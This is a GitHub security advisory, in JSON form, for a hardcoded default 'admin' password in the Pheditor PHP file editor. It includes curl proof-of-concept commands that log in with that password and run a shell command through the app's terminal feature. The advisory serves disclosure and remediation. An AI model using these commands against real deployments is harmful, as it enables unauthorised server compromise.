CVE-2026-55579: Pheditor Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p4h7-p9rj-2pq2",
  "modified" : "2026-07-16T20:11:23Z",
  "published" : "2026-07-16T20:11:23Z",
  "aliases" : [ "CVE-2026-55579" ],
  "summary" : "Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise",
  "details" : "### Summary\n\nPheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.\n\n### Details\n\nTested repository: https://github.com/pheditor/pheditor\n\nTested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`)\n\nAffected version: All versions of Pheditor\n\nThe password is hardcoded at `pheditor.php:11`:\n\n```php\ndefine('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');\n```\n\nThis is the SHA-512 hash of the string `admin`:\n```bash\necho -n 'admin' | sha512sum\nc7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec\n```\n\nThe application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.\n\nThe password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.\n\n**Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.\n\n### PoC\n\n**Environment:** Any system running Pheditor with default configuration.\n\n**Setup:**\n```bash\ngit clone https://github.com/pheditor/pheditor /tmp/pheditor-test\ncd /tmp/pheditor-test\nphp -S localhost:8080 pheditor.php &\n```\n\n**Positive trigger — authenticate with default password:**\n```bash\ncurl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=admin\" -L -o /dev/null -w \"%{http_code}\"\n```\nExpected: `200` — successful authentication with the default password `admin`.\n\n**Verify full access:**\n```bash\nTOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | grep -o '\"[a-f0-9]*\"' | tr -d '\"')\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode 'command=echo `id`' \\\n  --data-urlencode \"dir=\"\n```\nExpected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE.\n\n**Control (wrong password):**\n```bash\ncurl -s -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=wrongpassword\" | grep -o 'not correct'\n```\nExpected: `not correct` — authentication logic works but default password is trivially guessable.\n\n**Cleanup:**\n```bash\nkill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt\n```\n\n### Impact\n\nUse of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.\n\n**Attacker privileges:** Unauthenticated remote attacker (PR:N).\n\n**Security boundary crossed:** Unauthenticated → fully authenticated administrator.\n\n**Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal).\n\n**Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands.\n\n**Availability impact:** High — delete files and directories, disrupt services.\n\n**Suggested remediation:**\n1. Remove the default password — require user to set a password during installation.\n2. Add a setup wizard that forces password creation on first access.\n3. Add a forced password change on first login with default credentials.\n4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pheditor/pheditor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.1"
      }, {
        "fixed" : "2.0.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pheditor/pheditor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-16T20:11:23Z",
    "nvd_published_at" : null
  }
}